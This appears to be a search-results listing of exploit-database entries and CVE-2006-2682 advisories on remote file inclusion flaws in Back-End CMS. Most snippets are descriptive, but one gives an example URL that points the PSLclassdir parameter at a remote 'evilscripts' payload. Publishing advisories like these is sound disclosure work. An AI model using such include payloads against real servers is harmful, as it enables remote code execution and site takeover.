33 matches found
Back-End CMS 0.4.5 - 'search.php?includes_path' Remote File Inclusion
source: https://www.securityfocus.com/bid/20207/info Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...
Back-End CMS 0.7.2.1 - jpcache.php Remote File Inclusion
Back-End CMS 0.7.2.1 - jpcache.php Remote File Inclusion Federico Fazzi, Back-end = 0.7.2.1 jpcache.php Remote command execution 08/06/2006 1:04 Bug: jpcache.php: line 40 --- $includedir = $PSL'classdir' . "/jpcache"; --- Proof of concept: Back-end have a default path pre-set on jpcache.php, and...
Back-End CMS <= 0.7.2.1 (jpcache.php) Remote Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== Back-End CMS Back-end = 0.7.2.1 jpcache.php Remote command execution 08/06/2006 1:04 Bug: jpcache.php: line 40 --- $includedir = $PSL'classdir' . "/jpcache"; --- Proof of...
Back-End CMS 0.7.2.1 - 'jpcache.php' Remote File Inclusion
Federico Fazzi, Back-end = 0.7.2.1 jpcache.php Remote command execution 08/06/2006 1:04 Bug: jpcache.php: line 40 --- $includedir = $PSL'classdir' . "/jpcache"; --- Proof of concept: Back-end have a default path pre-set on jpcache.php, and cracker can execute a remote command...
Back-End CMS <= 0.7.2.1 (jpcache.php) Remote Include Vulnerability
No description provided by source. Federico Fazzi, [email protected] Back-end = 0.7.2.1 jpcache.php Remote command execution 08/06/2006 1:04 Bug: jpcache.php: line 40 --- $includedir = $PSL'classdir' . "/jpcache"; --- Proof of concept: Back-end have a default path pre-set on jpcache.php, and...
Remote file inclusion
PHP remote file inclusion vulnerability in BEconfig.php in Back-End CMS 0.7.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PSLclassdir parameter...
CVE-2006-2682
PHP remote file inclusion vulnerability in BEconfig.php in Back-End CMS 0.7.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PSLclassdir parameter...
CVE-2006-2682
CVE-2006-2682 concerns a PHP remote file inclusion in Back-End CMS. The affected product is Back-End CMS 0.7.2.1 and earlier, where the vulnerability exists in BE_config.php. An attacker can supply a URL in the _PSL[classdir] parameter, enabling the execution of arbitrary PHP code on the server. ...
CVE-2006-2682
PHP remote file inclusion vulnerability in BEconfig.php in Back-End CMS 0.7.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the PSLclassdir parameter...
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script: http://www.back-end.o...
Back-End CMS 0.7.2.2 - 'BE_config.php' Remote File Inclusion
DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script: http://www.back-end.org / BEconfig.php Line 27-31: code...
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Back-End CMS start'main'; / Use Example ... /code / http://www.site.com/Back-Endpath/BEconfig.php?PSLclassdir=evilscripts Elo ;- 0day.today 2018-03-19...
Back-End CMS 0.7.2.2 - BE_config.php Remote File Inclusion
Back-End CMS 0.7.2.2 - BEconfig.php Remote File Inclusion DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script...